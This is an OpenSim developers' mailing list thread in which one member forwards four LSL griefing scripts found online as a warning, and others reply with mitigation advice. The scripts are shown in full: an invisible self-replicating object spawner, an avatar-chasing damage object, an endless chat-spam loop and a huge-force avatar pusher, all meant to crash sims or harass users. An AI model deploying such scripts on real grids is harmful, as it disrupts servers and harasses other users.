Most TPV viewers have anti-spam systems.  Only LL's doesn't, go figure.

For people who are concerned about this: Just shut off scripting in your sim and ban the idiot responsible, and report to the appropriate grid gods.

On 11/1/2010 3:20 PM, Michael Cerquoni wrote:
these look like kiddie griefer scripts that pretty much any noob could make to me.

On Mon, Nov 1, 2010 at 3:07 PM, Karen Palen <[email protected] <mailto:[email protected]>> wrote:

    I ran across the following on one of the "less reputable" web
    sites that I read. Consider it a "heads up" if the scripts really
    do what they claim!

    *OS GRID CRASHERS AND SPAMMERS * A virtual world without
    evil.....not on my watch

    These all work if the threat level is set high enough on the sim


    vector motion = <0,0,-37>;
    integer jumps = 2;
    default
    {
    state_entry()
    {
    llListen(10,"",llGetOwner(),"");
    }
    listen( integer channel, string name, key id, string msg)
    {
    if(msg==".5560")
    {
    llDie();
    }
    }

    touch_start(integer total_number)
    {
    llDialog(llDetectedKey(0),"Jezebel's black sun shines upon you
    ",["YAY!!!"],5560);
    llSetAlpha(0.0,ALL_SIDES);
    llSetStatus(STATUS_PHANTOM,TRUE);
    integer m;
    vector local = llGetLocalPos();
    for(m=0;m<jumps;m++)
    {
    llSetPos(local+m*motion);
    }
    llSetTimerEvent(0.1);
    }
    timer()
    {
    llRezObject("Object", llGetPos()+<0,0,0>, ZERO_VECTOR,
    ZERO_ROTATION,42);

    }
    }

    --------------------------------------------------------------------

    float movespeed = 0.1; //because lower is faster

    //Set how often to track avatars
    float tick = 0.1;

    default
    {
    state_entry()
    {
    vector pos = llGetPos();
    llSetStatus(STATUS_PHYSICS, TRUE);
    llSetDamage(100.0);
    llSleep(0.1);
    llMoveToTarget(pos,0.1);
    llSensorRepeat("","",AGENT,200000,7000*PI,tick);
    }
    sensor(integer total_number)
    {
    vector pos = llDetectedPos(0);
    vector offset =<-0,0,0>;
    pos+=offset;
    if (llDetectedOwner(0) == llGetOwner())
    {
    }
    else
    {
    llMoveToTarget(pos,movespeed);
    llLookAt(pos,2,1);
    }
    }
    }
    ------------------------------------------------------------------

    default
    {
    state_entry()
    {
    llSay(0, "Here is a fork and knife your gonna need it");
    }

    collision_start(integer total_number)
    {
    while(1)
    {
    llSay(0, "Press Alt-F4 to abuse report griefers, welcome to os
    grid:) ");

    }
    }
    }
    ---------------------------------------------------------------
    take the verticle tour
    ---------------------------------------------------------------
    default
    {
    state_entry ( )
    {
    llListen ( 0, "", NULL_KEY, "0/1" );
    llSensorRepeat ( "", NULL_KEY, AGENT, 2.0, PI, 0.01 );
    }

    listen ( integer Channel, string Name, key UUID, string Message )
    {
    state Off;
    }

    sensor ( integer Number )
    {
    vector Direction = llVecNorm ( llDetectedPos ( 0 ) - llGetPos ( ) );
    float Power = llVecMag ( llDetectedVel ( 0 ) - llGetPos ( ) ) *
    llPow ( llVecDist ( llGetPos ( ) , llDetectedPos ( 0 ) ), 3 );
    llPushObject(llDetectedKey(0), <0,0,llPow(3.402823466,38)>,
    ZERO_VECTOR, FALSE );

    }
    }

    state Off
    {
    state_entry ( )
    {
    llListen ( 0, "", NULL_KEY, "0/1" );
    }

    listen ( integer Channel, string Name, key UUID, string Message )
    {
    state default;
    }
    }
    ------------------------------------------------------------------------

    I am the devil and i'm here to do the devils work


    _______________________________________________
    Opensim-dev mailing list
    [email protected] <mailto:[email protected]>
    https://lists.berlios.de/mailman/listinfo/opensim-dev




--
Michael Emory Cerquoni - Nebadon Izumi @ http://osgrid.org


_______________________________________________
Opensim-dev mailing list
[email protected]
https://lists.berlios.de/mailman/listinfo/opensim-dev

_______________________________________________
Opensim-dev mailing list
[email protected]
https://lists.berlios.de/mailman/listinfo/opensim-dev

Reply via email to